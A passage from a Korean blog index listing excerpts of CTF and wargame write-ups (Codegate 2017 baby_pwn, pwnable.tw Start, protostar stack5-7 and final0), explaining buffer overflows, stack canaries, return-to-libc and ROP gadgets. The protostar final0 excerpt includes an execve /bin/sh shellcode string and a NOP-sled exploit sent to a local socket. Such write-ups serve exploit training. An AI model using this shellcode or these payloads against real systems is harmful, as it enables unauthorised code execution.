전체 글
-
Codegate 2017 baby_pwnPwnable/CTF 2017. 2. 20. 16:56
코드게이트 당시에는 PORT가 8888이었지만 로컬연결로는 PORT는 8181이다. (대회당일날 버퍼값을 .. 10진수값을 넣어야하는것을 16진수로 넣어버려서 버퍼값을 잘못넣어버렷고 .. 문제를 보면 system함수를 주어지는데 그것을 보지못했다 .. 대회 당일날만 되면 풀 수 있는것들을 많이 놓쳐버리는것같아서 .. 연습 좀 많이해야할것같다 ㅠㅠㅠ .. ) 일단 저기에서 취약점은 BOF+Memory leak 이다. v2에 100만큼입력을받고 그것에 문자열 길이를 재고 출력을 시킨다. 하지만 v2[bp-34h]-v3[bp-ch] 여기서 v3는 카나리 이기떄문에 34h-c = 10진수로 40 즉, 버퍼값은 40이다.
-
protostar final0카테고리 없음 2017. 2. 8. 00:11
nop sleed -exploit code- host = '127.0.0.1'port = 2995 s.connect(host, port) buffer=532code=0 char shell[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" code+=buffercode+="\x60\xfc\xff\xbf"code+="\x90"*30code+=shell s.send(code)
-
pwnable.tw StartPwnable/Pwnable.tw 2017. 1. 31. 22:57
포너블 문제를 받으면 무조건적으로 checksc.sh를 이용하여서 보호기법을 체크하는 편이여서 일단 먼저 체크를 하기로 하였다. 일단 NX가 걸려있어서 스택을 못쓴다고한다 .. 일단 겉으로만 프로그램이 어떤식으로 돌아가는지 봣는데 Let's start the CTF: 출력하고 입력하고 끝이다.(아이다에도 이렇게 있음) 딱봣을떄 버퍼오버플로우 느낌이 낫다. 아이다로 살펴보자 아.. 그전에 아래쪽을 보면 알겠지만 버퍼오버플로우 취약점이다. 근데 바이너리에는 아무것도 쓸수있는게 없다 .. 사실상 이 문제에서 NX가 걸려서 스택을 못쓰게된다면 .. 첫 번쨰 문제가아닐것이다. 그래서 GDB-PEDA에 VMMAP이라는 것을 다른 분을통해 알게되어서 써보앗더니 !!! 보시면 알다싶이 실행권한이 있다 ? 이 문제를 봣..
-
protostar stack7카테고리 없음 2017. 1. 23. 22:32
-소스 생략-추가 코드 내용: b로 시작하는 주소를 막는다. 여기서는 ROP기법에서 쓰이는 ppr 이라는것을 쓸것이다.(간단하게 ppr은 자신이 원하는 명령을 내리고 이어서 명령을 또 할수있게 해준다. 자세한건 구글링) 위 사진은 ppr을 찾기위한 것. b2 = back 2 뒤에 2개 ret -> ret 뒤에 2개를 알아낸다. (ppr , mov mov r) 이런것 int ret + 더미 + 버퍼 + sfp[80]+ret 자리[ppr] + pop = 4 팝이 2개 이기때문에 pop 할 D8개 그 다음 ret 로 다음 명령으로 RTL(시스템+exit+/bin/sh) RTL 설명은 5,6 write up에 있다.
-
protostar stack5,6카테고리 없음 2017. 1. 23. 22:26
-소스는 생략-nop sled, 환경변수 등을 해봣을떄 이상하게 쉘이 안따져서 RTL을 썻다. --시스템 에서 /BIN/SH 주소 알아내는 소스--시스템 주소는 GDB 에서 p system 해서 알아낼수있다. + buffer+dummy+sfp[76] + system + system("/bin/sh")실행한다음에 반환되는 값(돌아가는 주소(값)) + /bin/sh 주소 protostar stack6 도 stack5처럼 RTL을 써서 풀면되기떄문에 WRITE UP 생략 stack6 추가 코드: bf00000 ~ 이런 코드가 있는데 이 코드는 bf로 시작하는 주소가 있으면 exit(종료) 시키는 코드다. 다른건 다 같다.